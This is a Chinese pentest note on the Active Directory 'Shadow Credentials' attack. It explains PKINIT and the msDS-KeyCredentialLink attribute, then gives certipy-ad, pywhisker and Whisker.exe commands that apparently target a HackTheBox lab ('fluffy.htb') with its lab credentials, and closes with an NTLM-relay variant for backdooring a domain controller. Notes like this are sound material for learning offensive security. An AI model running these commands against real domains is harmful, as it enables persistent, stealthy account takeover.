9.Shadow Credentials(影子凭据)

1. 理论

Kerberos 身份验证协议通过票据来授予访问权限。一个 服务票据 (ST) 可以通过出示一个 票据授予票据 (TGT) 来获得。而在此之前的 TGT,只能通过验证一个名为“预认证 (pre-authentication)”的第一步来获得(除非某些账户明确移除了这个要求,使它们容易受到 asreproasting 攻击)。

预认证可以通过对称方式(使用 DES、RC4、AES128 或 AES256 密钥)或非对称方式(使用证书)进行验证。非对称的预认证方式被称为 PKINIT。

客户端拥有一对公钥-私钥对,并使用其私钥加密预认证数据,KDC(密钥分发中心)则使用客户端的公钥解密。KDC 也拥有一对公钥-私钥对,用于会话密钥的交换。(specterops.io)

Active Directory 用户和计算机对象有一个名为 msDS-KeyCredentialLink 的属性,可以设置原始公钥。当尝试使用 PKINIT 进行预认证时,KDC 将检查认证用户是否拥有匹配的私钥知识,如果匹配,就会发送一个 TGT。

在多种情况下,攻击者可以控制一个账户,该账户有能力编辑其他对象(例如,某个特殊组的成员,拥有强大的访问控制条目 [ACEs] 等)的 msDS-KeyCredentialLink(又称“kcl”)属性。这使得攻击者可以创建一对密钥,将其原始公钥添加到该属性中,从而获得对目标对象(可以是用户或计算机)的持久且隐蔽的访问权限。

2. 利用

2.1. 要求:

  • 域支持 PKINIT 且至少有一个运行 Windows Server 2016 或更高版本的域控制器的域中。
  • 域控制器拥有自己的密钥对(用于会话密钥交换)(例如,当启用AD-CS存在证书颁发机构 (CA) 时,就会出现这种情况)。
  • 可以编辑目标对象 msDS-KeyCredentialLink 属性的账户。

msDS-KeyCredentialLink 功能是随 Windows Server 2016 引入的。但是,这不应与 PKINIT 混淆,后者在 Windows 2000 中就已经存在。msDS-KeyCredentialLink 功能允许将 X509 证书链接到域对象,仅此而已

2.2. 利用

2.2.1. linux

使用 certipy-ad

#使用certipy-ad  
certipy-ad  shadow auto -username 'p.agila@fluffy.htb' -p 'prometheusx-303' -account 'victim' -dc-ip 10.10.11.69

Pasted image 20250526011136

也可以用 pywhisker(不好用)

pywhisker -d fluffy.htb -u p.agila -p prometheusx-303 --target WINRM_SVC --action "list"

pywhisker -d fluffy.htb -u p.agila -p prometheusx-303 --target WINRM_SVC --action "info" --device-id ff657ba0-3172-d676-30dd-759d5602fa77

Pasted image 20250526012140.png

2.3. windows (未测试)

从 Windows 系统,用户或计算机目标的 msDs-KeyCredentialLink 属性可以使用 Whisker.exe 工具进行操作。

Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"

当公钥被设置在目标(用户或计算机)的 msDs-KeyCredentialLink 属性中时,生成的证书可以用于PTC攻击,以获得 TGT(票据授予票据)并进一步获得访问权限。

2.4. 其他

Note

自编辑 KCL 属性 (Self edit the KCL attribute)

用户对象无法编辑它们自己的 msDS-KeyCredentialLink 属性,而计算机对象可以。 这意味着以下场景可能奏效:触发来自 DC01 的 NTLM 身份验证,将其(认证会话)中继到 DC02,然后让 pywhisker 工具编辑 DC01 的 msDS-KeyCredentialLink 属性,从而在其上创建一个 Kerberos PKINIT 预认证后门,并使用 PKINIT 和“传递缓存”(Pass-the-cache)获得对 DC01 的持久访问权限。

计算机对象只有在 KeyCredential 尚未设置时才能编辑它们自己的 msDS-KeyCredentialLink 属性。